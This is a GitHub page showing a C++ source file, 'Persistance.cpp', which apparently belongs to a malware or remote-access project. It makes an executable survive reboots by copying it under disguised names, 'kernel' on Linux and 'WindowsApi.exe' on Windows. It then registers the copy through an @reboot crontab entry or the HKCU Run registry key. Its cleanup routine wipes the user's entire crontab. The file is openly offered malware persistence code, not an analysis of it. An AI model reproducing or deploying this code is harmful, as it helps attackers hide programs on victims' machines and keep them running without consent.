-
Notifications
You must be signed in to change notification settings - Fork 1
/
Persistance.cpp
47 lines (46 loc) · 1.42 KB
/
Persistance.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include "config.h"
#include "Persistance.h"
#include <stdlib.h>
#include <iostream>
#ifndef LINUX
#include <windows.h>
#endif
using namespace std;
void Persistance::persist(const char *execName){
#ifdef LINUX
string cmd;
string exe(execName);
system("mkdir $HOME/kernel");
cmd="cp "+exe+" $HOME/kernel/kernel";
system(cmd.c_str());
cmd="echo @reboot $HOME/kernel/kernel | crontab -";
system(cmd.c_str());
#else
// char parsistancePath[1024];
// strcpy(parsistancePath,getenv("%HOMEPATH%"));
// strcar(parsistancePath,"\\windows\\windows")
string homePathString(getenv("HOMEPATH"));
string homeDir(getenv("HOMEDRIVE"));
homePathString = homePathString + "\\windows\\WindowsApi.exe";
string cmd;
string exe(execName);
system("mkdir %HOMEPATH%\\windows");
cmd = "copy " + exe +" "+ homePathString;
homeDir = homeDir + homePathString;
cout << homeDir << "aaaa"<<endl;
system(cmd.c_str());
std::wstring progPath ;
progPath.assign(homeDir.begin(), homeDir.end());
HKEY hkey = NULL;
LONG createStatus = RegCreateKey(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey);
LONG status = RegSetValueExW(hkey, L"WindowsApi", 0, REG_SZ, (BYTE *)progPath.c_str(), (progPath.size()+1) * sizeof(wchar_t));
#endif
}
void Persistance::removePersistance(){
#ifdef LINUX
system("rm -rf $HOME/kernel");
system("crontab -r");
#else
system("Del %HOMEPATH%\\windows\\WindowsApi.exe");
#endif
}